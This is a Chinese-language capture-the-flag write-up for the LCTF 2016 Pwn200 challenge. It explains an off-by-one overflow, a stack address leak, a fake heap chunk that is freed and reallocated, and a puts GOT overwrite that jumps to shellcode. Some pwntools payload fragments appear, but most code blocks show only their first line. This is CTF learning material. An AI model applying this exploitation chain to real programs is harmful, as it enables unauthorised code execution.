LCTF_2016 Pwn200
lctf2016_pwn200
1 | int vuln() |
1 | int id() |
1 | int head() |
这里开辟了 0x40 的空间,不过数组只有 0x38 的大小的大小,可以堆溢出
开辟一个 0x40 的空间,ptr 指向的就是 chunk 地址
1 | int sub_4009C4() |
1 | int menu() |
1 | void free_0() |
free 之后置 0,不存在 UAF
1 | int add() |
如果当前指针为空,则开辟指定大小的空间。
泄露栈上的地址
首先我们的数据都是写到栈上的,我们需要去泄露栈上的地址:
1 | from pwn import * |
则:
1 | shell_addr = rbp - 0x50 |
我们发现 buf 数组一共是 56 个字节 0x38,但是一共可以输入 0x40 个字节,我们就可以通过溢出修改dest 指针
修改 dest 指向 fake_chunk
这里是一个 off-by-one
1 | -0000000000000040 // Use data definition commands to manipulate stack variables and arguments. |
1 | p= process('./pwn200') |
1 | payload = p64(0) * 4 + p64(0) + p64(0x41) |
这样子也就导致指针并没有指向我们第一次 malloc 的 chunk,而是以 ptr 指向我们的 fake_chunk,free 掉 chunk 的时候释放的也是我们的 fake_chunk,再次申请的时候就会复用我们 fake_chunk 的地址。
free&malloc fake_chunk
1 | p.sendlineafter("your choice : ", '2') |
改 puts 表
之后解释 0x18 覆盖,进行栈溢出,一出道 0x6020B0 去修改 puts 表为 shellcode
调用 shellcode
1 | p.sendlineafter("your choice : ", '3') |
最后调用 shellcode 就可以获取 shell 了。
总 exp
1 | from pwn import * |
更新: 2026-03-20 16:24:59
原文: https://www.yuque.com/idcm/wnemg9/nzub5v3up8kq8gx1